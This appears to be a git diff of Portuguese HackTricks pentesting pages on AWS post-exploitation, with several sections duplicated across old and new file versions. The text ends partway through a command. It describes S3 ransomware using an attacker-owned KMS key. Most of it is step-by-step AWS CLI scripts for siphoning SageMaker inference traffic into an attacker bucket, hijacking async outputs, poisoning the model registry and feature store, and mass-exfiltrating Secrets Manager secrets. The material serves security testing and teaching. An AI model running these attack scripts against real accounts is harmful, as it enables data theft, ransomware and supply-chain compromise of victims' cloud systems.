Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
|
||||
|
||||
O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração inadequada do bucket que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
|
||||
|
||||
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware naquele bucket específico.
|
||||
|
||||
Usando a API da AWS, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
|
||||
|
||||
Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
|
||||
|
||||
Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente nomeado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
|
||||
|
||||
**Para mais informações** [**consulte a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# AWS - S3 Pós-Exploração
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Informações Sensíveis
|
||||
|
||||
Às vezes é possível encontrar informações sensíveis legíveis nos buckets. Por exemplo, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Diferentes plataformas podem usar S3 para armazenar ativos sensíveis.\
|
||||
Por exemplo, **airflow** pode estar armazenando **DAGs** **code** lá, ou **web pages** podem ser servidas diretamente a partir do S3. Um atacante com permissões de escrita poderia **modify the code** no bucket para **pivot** para outras plataformas, ou **takeover accounts** modificando arquivos JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, ele torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, role, ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
|
||||
|
||||
O atacante identifica um bucket alvo e obtém acesso de escrita a ele usando vários métodos. Isso pode ocorrer devido a uma configuração inadequada do bucket que o expõe publicamente ou porque o atacante obteve acesso ao próprio ambiente AWS. O atacante normalmente mira em buckets que contêm informações sensíveis como personally identifiable information (PII), protected health information (PHI), logs, backups, e mais.
|
||||
|
||||
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **multi-factor authentication delete (MFA delete) está habilitado**. Se Object Versioning não estiver habilitado, o atacante pode prosseguir. Se Object Versioning estiver habilitado mas MFA delete estiver desabilitado, o atacante pode **desabilitar Object Versioning**. Se tanto Object Versioning quanto MFA delete estiverem habilitados, torna-se mais difícil para o atacante realizar ransomware naquele bucket específico.
|
||||
|
||||
Usando a AWS API, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
|
||||
|
||||
Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
|
||||
|
||||
Finalmente, o atacante pode enviar um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
|
||||
|
||||
**Para mais informações** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,177 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abuse SageMaker endpoint management to enable full request/response capture to an attacker‑controlled S3 bucket without touching the model or container. Uses a zero/low‑downtime rolling update and only requires endpoint management permissions.
|
||||
|
||||
### Requisitos
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (ou use um bucket existente na mesma conta)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: um endpoint real‑time InService existente na mesma conta/região
|
||||
|
||||
### Etapas
|
||||
1) Identifique um endpoint InService e obtenha as variantes de produção atuais
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Prepare o destino S3 do atacante para capturas
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Crie um novo EndpointConfig que mantenha as mesmas variantes mas ative DataCapture para o bucket do atacante
|
||||
|
||||
Nota: Use explicit content types que satisfaçam a validação do CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Aplique a nova config com um rolling update (tempo de inatividade mínimo/nulo)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Gere pelo menos uma chamada de inferência (opcional se houver tráfego ao vivo)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Validar capturas no S3 do atacante
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impacto
|
||||
- Exfiltração completa dos payloads de requisição e resposta de inferência em tempo real (e metadados) do endpoint alvo para um S3 bucket controlado pelo atacante.
|
||||
- Sem alterações na imagem do modelo/container e apenas mudanças no nível do endpoint, permitindo um caminho de roubo de dados furtivo com interrupção operacional mínima.
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abuse o gerenciamento do endpoint para redirecionar as saídas de inferência assíncrona para um S3 bucket controlado pelo atacante clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltra as previsões do modelo (e quaisquer inputs transformados incluídos pelo container) sem modificar o modelo/container.
|
||||
|
||||
### Requisitos
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Capacidade de gravar no S3 bucket controlado pelo atacante (via a model execution role ou uma política de bucket permissiva)
|
||||
- Alvo: Um endpoint InService onde invocações assíncronas são (ou serão) usadas
|
||||
|
||||
### Etapas
|
||||
1) Colete os ProductionVariants atuais do endpoint alvo
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Crie um bucket do atacante (garanta que a função de execução do modelo possa PutObject nele)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Clonar EndpointConfig e sequestrar as saídas do AsyncInference para o bucket do atacante
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Acionar uma async invocation e verificar se os objetos chegam no attacker S3
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impact
|
||||
- Redireciona resultados de inference assíncrona (e corpos de erro) para um S3 controlado pelo atacante, permitindo exfiltração covert de predictions e, potencialmente, inputs sensíveis pré/pós-processados produzidos pelo container, sem alterar o model code ou image e com downtime mínimo/nulo.
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Se um atacante puder CreateModelPackage em um Model Package Group alvo do SageMaker, ele pode registrar uma nova versão do modelo que aponte para uma container image controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines CI/CD auto-deployam versões Approved para endpoints ou training jobs, resultando em execução de código do atacante sob os execution roles do serviço. Exposição cross-account pode ser ampliada por uma permissive ModelPackageGroup resource policy.
|
||||
|
||||
### Requirements
|
||||
- IAM (mínimo para envenenar um grupo existente): `sagemaker:CreateModelPackage` no ModelPackageGroup alvo
|
||||
- Opcional (para criar um grupo se não existir): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Read access ao ModelDataUrl referenciado (ou hospedar artifacts controlados pelo atacante)
|
||||
- Target: um Model Package Group que automação downstream monitora para versões Approved
|
||||
|
||||
### Steps
|
||||
1) Set region and create/find a target Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Preparar dados fictícios do modelo no S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrar uma Approved model package version maliciosa (aqui benigna) referenciando uma imagem pública AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
{
|
||||
"Containers": [
|
||||
{
|
||||
"Image": "$IMG",
|
||||
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
|
||||
}
|
||||
],
|
||||
"SupportedContentTypes": ["text/csv"],
|
||||
"SupportedResponseMIMETypes": ["text/csv"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Verifique se a nova versão Approved existe
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impacto
|
||||
- Poison the Model Registry com uma versão Approved que referencia código controlado pelo atacante. Pipelines que auto-deploy Approved models podem puxar e executar a imagem do atacante, resultando em execução de código sob endpoint/training roles.
|
||||
- Com uma política de recurso permissiva ModelPackageGroup (PutModelPackageGroupPolicy), esse abuso pode ser acionado cross-account.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela online inference. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isto não requer acesso a modelos ou endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
@@ -0,0 +1,50 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abusar de `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
|
||||
|
||||
## Requisitos
|
||||
- Permissões: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Alvo: Feature Group com OnlineStore habilitado (tipicamente suportando inferência em tempo real)
|
||||
|
||||
## Passos
|
||||
1) Escolha ou crie um pequeno Online Feature Group para testes
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Inserir/substituir um registro online (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Ler o registro para confirmar a manipulação
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Esperado: risk_score retorna 0.99 (definido pelo atacante), comprovando a capacidade de alterar features online consumidas pelos modelos.
|
||||
|
||||
## Impact
|
||||
- Ataque de integridade em tempo real: manipular features usadas por modelos de produção sem tocar em endpoints/models.
|
||||
- Risco de confidencialidade: ler features sensíveis via GetRecord do OnlineStore.
|
||||
@@ -1,130 +0,0 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
|
||||
Os **secrets em si são informações sensíveis**, [veja a página privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender como lê-los.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Ao alterar o valor do secret você pode **DoS todos os sistemas que dependem desse valor.**
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que valores anteriores também são armazenados, então é fácil voltar ao valor anterior.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Se o atacante tiver a permissão secretsmanager:UpdateSecret, ele pode configurar o secret para usar uma KMS key de propriedade do atacante. Essa key é inicialmente configurada de modo que qualquer pessoa possa acessá-la e usá-la, então atualizar o secret com a nova key é possível. Se a key não fosse acessível, o secret não poderia ser atualizado.
|
||||
|
||||
Após alterar a key do secret, o atacante modifica a configuração da sua key para que apenas ele possa acessá-la. Dessa forma, nas versões subsequentes do secret, ele será criptografado com a nova key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida.
|
||||
|
||||
É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, depois que o conteúdo do secret mudar, já que a versão atual ainda está criptografada com a KMS key original.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Exclusão de segredo
|
||||
|
||||
O número mínimo de dias para excluir um segredo é 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
É possível restaurar um segredo, o que permite a restauração de segredos que foram programados para exclusão, já que o período mínimo de exclusão para segredos é de 7 dias e o máximo é de 30 dias. Em conjunto com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar seus conteúdos.
|
||||
|
||||
Para recuperar um segredo que está em processo de exclusão, você pode usar o seguinte comando:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Esta ação permite deletar a resource policy que controla quem pode acessar um secret. Isso pode levar a um DoS se a resource policy tiver sido configurada para permitir acesso a um conjunto específico de usuários.
|
||||
|
||||
Para deletar a resource policy:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Os estados de um secret são usados para gerenciar versões de um segredo. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual.
|
||||
|
||||
As aplicações sempre leem a versão com AWSCURRENT. Se alguém mover esse rótulo para a versão errada, as aplicações usarão credenciais inválidas e podem falhar.
|
||||
|
||||
AWSPREVIOUS não é usado automaticamente. No entanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo continua a ser executado com a versão anterior.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Abuse the Secrets Manager BatchGetSecretValue API para recuperar até 20 secrets em uma única requisição. Isso pode reduzir dramaticamente o volume de chamadas de API em comparação com iterar GetSecretValue por segredo. Se filtros forem usados (tags/name), a permissão ListSecrets também é necessária. O CloudTrail ainda registra um evento GetSecretValue para cada segredo recuperado no lote.
|
||||
|
||||
Permissões necessárias
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue para cada segredo alvo
|
||||
- secretsmanager:ListSecrets se estiver usando --filters
|
||||
- kms:Decrypt nos CMKs usados pelos segredos (se não estiver usando aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que a permissão `secretsmanager:BatchGetSecretValue` por si só não é suficiente para recuperar segredos; você também precisa de `secretsmanager:GetSecretValue` para cada segredo que deseja recuperar.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrar por filtros (chave/valor de tag ou prefixo de nome)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Lidando com falhas parciais
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impacto
|
||||
- Rápida “smash-and-grab” de muitos segredos com menos chamadas de API, potencialmente contornando alertas ajustados para picos de GetSecretValue.
|
||||
- Os logs do CloudTrail ainda incluem um evento GetSecretValue por cada segredo recuperado pelo lote.
|
||||
@@ -0,0 +1,132 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ler segredos
|
||||
|
||||
Os **segredos em si são informação sensível**, [veja a página de privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para aprender como lê-los.
|
||||
|
||||
### DoS Alterar valor do segredo
|
||||
|
||||
Ao alterar o valor do segredo, você pode causar **DoS em todos os sistemas que dependem desse valor.**
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que valores anteriores também são armazenados, então é fácil voltar ao valor anterior.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Se o atacante tiver a permissão secretsmanager:UpdateSecret, ele pode configurar o secret para usar uma KMS key pertencente ao atacante.
|
||||
|
||||
Essa key é inicialmente configurada de modo que qualquer um pode acessá-la e usá-la, então é possível atualizar o secret com a nova key. Se a key não fosse acessível, o secret não poderia ser atualizado.
|
||||
|
||||
Após alterar a key do secret, o atacante modifica a configuração da sua key de forma que somente ele possa acessá-la. Assim, nas versões subsequentes do secret, ele será criptografado com a nova key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida.
|
||||
|
||||
É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, depois que o conteúdo do secret for alterado, já que a versão atual ainda está criptografada com a KMS key original.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
O número mínimo de dias para excluir um secret é 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
É possível restaurar um secret, o que permite a restauração de secrets que foram agendados para exclusão, já que o período mínimo de exclusão para secrets é de 7 dias e o máximo é de 30 dias. Em conjunto com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar o conteúdo dos mesmos.
|
||||
|
||||
Para recuperar um secret que está em processo de exclusão, você pode usar o seguinte comando:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Esta ação permite excluir a política de recurso que controla quem pode acessar um segredo. Isso pode levar a um DoS se a política de recurso estiver configurada para permitir acesso a um conjunto específico de usuários.
|
||||
|
||||
Para excluir a política de recurso:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Os estados de um secret são usados para gerenciar suas versões. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual.
|
||||
|
||||
As aplicações sempre leem a versão com AWSCURRENT. Se alguém mover esse rótulo para a versão errada, as aplicações usarão credenciais inválidas e poderão falhar.
|
||||
|
||||
AWSPREVIOUS não é usado automaticamente. Entretanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo ainda está em execução com a versão anterior.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Abuse a API Secrets Manager BatchGetSecretValue para recuperar até 20 secrets em uma única requisição. Isso pode reduzir drasticamente o volume de chamadas de API comparado a iterar GetSecretValue por secret. Se filtros forem usados (tags/name), a permissão ListSecrets também é necessária. O CloudTrail ainda registra um evento GetSecretValue por secret recuperado no batch.
|
||||
|
||||
Permissões necessárias
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets if using --filters
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Note que a permissão `secretsmanager:BatchGetSecretValue` não é suficiente para recuperar secrets; você também precisa de `secretsmanager:GetSecretValue` para cada secret que quiser recuperar.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
